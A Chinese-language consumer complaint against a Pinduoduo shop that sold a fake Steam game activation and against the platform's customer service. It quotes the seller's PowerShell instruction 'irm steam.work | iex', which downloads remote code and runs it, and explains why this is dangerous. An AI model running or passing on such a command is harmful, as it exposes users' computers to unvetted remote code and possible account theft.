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我于2024年3月24日在拼多多软件内商家名称“茄玩官方旗舰店”花费“8.55元人民币”购买商品名称为“steam正版超市模拟器激活入库全dlc单人在线中文电脑游戏模拟经营”后发现其并非正版steam激活码该商家利用steam.work下载命令并执行以达到虚 假steam商品激活码激活商品谋利的目的，其向我发送的使用教程代码“irm steam.workliex”其中“irm”是 Invoke-RestMethod 的缩写这个命令向 RESTful服务器发送 HTTP/HTTPS请求“iex”是Invoke-Expression的缩写这个命令把获取的字符串作为命令执行该行为极有可能对我的电脑造成数据盗取和木马病毒的威胁，以及导致steam账号封禁的后果，并且该商家所售卖的商品激活码无法直接在steam商店中直接兑换，因此该商家违反《中华人民共和国刑法》第二百六十四条盗窃罪，其客服还在聊天中诱导消费者收藏好评后给予奖励该行为违反《消费者权益保护法》、《反不正当竞争法》和《网络交易管理办法》我立即向拼多多官方客服进行投诉，并向其当地市场监督管理局进行投诉，当地市场监督管理局对我进行回复，无法联系该商家，并已将该商家列入异常经营名录，拼多多对我进行了退款，但对我提出的消费者权益保护法中赔偿的规定进行了驳回，理由为找商家协商，商家无法满足该要求，并向拼多多内部进行申请申请被驳回，我要求拼多多电话“人工客服工号47117”对为何无法履行中华人民共和国消费者权益保护法进行解释，以及向我解释该店铺缴纳的保证金是作为什么作用，该客服无法向我解答并以服务下一名顾客为由挂断了我的电话，我向拼多多app内客服“斌多多1499”进行反馈，该客服长时间不对我的问题进行回答，在我要求提供拼多多营业执照内统一社会信用代码时长时间不予回复并对我的态度极其敷衍。我要求拼多多按照法律规定扣除商家保证金对我进行赔偿并且处罚我内容中提到的两名人工客服